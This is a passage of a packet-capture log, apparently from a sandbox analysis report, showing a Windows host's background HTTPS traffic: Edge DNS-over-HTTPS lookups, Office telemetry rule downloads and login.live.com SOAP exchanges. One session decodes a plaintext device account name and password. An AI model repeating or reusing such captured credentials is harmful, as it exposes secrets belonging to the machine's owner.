2024-11-28 05:48:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f0 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49775	162.159.61.3	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 05:48:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 05:48:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 05:48:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9811bb7c1c3350-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 05:48:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 df 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:29 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054829Z-174f78459685726chC1EWRsnbg0000000y5g000000000hbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:29 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 2604352f-101e-005a-363c-40882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054829Z-174f7845968vqt9xhC1EWRgten0000000xy000000000hf39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:29 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054829Z-174f7845968zgtf6hC1EWRqd8s0000000qw000000000fvcu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:29 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054829Z-174f7845968xlwnmhC1EWR0sv80000000xvg000000006n9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49772	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-28 05:48:29 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:30 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 80c43143-839f-4cab-95d3-080efb5458fe PPServer: PPV: 30 H: PH1PEPF0001201C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:29 GMT Connection: close Content-Length: 1276
2024-11-28 05:48:30 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49776	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:29 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-28 05:48:29 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 72 6b 7a 70 70 75 72 62 74 73 6d 6e 66 63 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 43 72 5f 61 6d 3b 73 6f 23 39 52 6c 71 4e 2c 63 2f 6d 3b 6a 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02rkzppurbtsmnfc</Membername><Password>Cr_am;so#9RlqN,c/m;j</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-28 05:48:34 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Thu, 28 Nov 2024 05:47:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BL2 x-ms-request-id: 0735fce8-8ebc-4825-a306-3da07d8e402d PPServer: PPV: 30 H: BL02EPF0001D7BF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:34 GMT Connection: close Content-Length: 17166
2024-11-28 05:48:34 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 35 37 31 30 44 44 34 39 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 65 62 63 35 32 37 37 65 2d 66 31 39 31 2d 34 63 31 64 2d 38 65 61 63 2d 33 35 63 37 34 39 65 66 33 62 65 64 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001880105710DD49</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="ebc5277e-f191-4c1d-8eac-35c749ef3bed" LicenseID="3252b20c-d425-4711
2024-11-28 05:48:34 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:30 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054830Z-174f7845968cpnpfhC1EWR3afc0000000xpg000000005c8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49798	172.64.41.3	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 05:48:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 6d 73 65 64 67 65 65 78 74 65 6e 73 69 6f 6e 73 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 2f 00 0c 00 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: msedgeextensionssftludldeliverympmicrosoftcomA)/+
2024-11-28 05:48:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 05:48:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9811c3dfa80cc2-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 05:48:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 06 00 01 00 01 10 6d 73 65 64 67 65 65 78 74 65 6e 73 69 6f 6e 73 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0c cd 00 34 04 73 74 61 72 02 73 66 03 74 6c 75 02 64 6c 08 64 65 6c 69 76 65 72 79 02 6d 70 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 08 64 65 6c 69 76 65 72 79 c0 33 c0 52 00 05 00 01 00 01 50 3d 00 26 11 63 64 70 2d 66 2d 73 73 6c 2d 74 6c 75 2d 6e 65 74 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 92 00 05 00 01 00 00 01 2c 00 1c 0f 77 69 6c 64 63 61 72 64 74 6c 75 2d 73 73 6c 09 61 7a 75 72 65 65 64 67 65 c0 b3 c0 c4 00 05 00 01 00 00 07 08 00 15 0f 77 69 6c 64 63 61 72 64 74 6c 75 2d 73 73 6c 02 65 63 Data Ascii: msedgeextensionssftludldeliverympmicrosoftcomA4starsftludldeliverympmicrosoftcomdelivery3RP=&cdp-f-ssl-tlu-nettrafficmanagernet,wildcardtlu-sslazureedgewildcardtlu-sslec

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49793	162.159.61.3	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
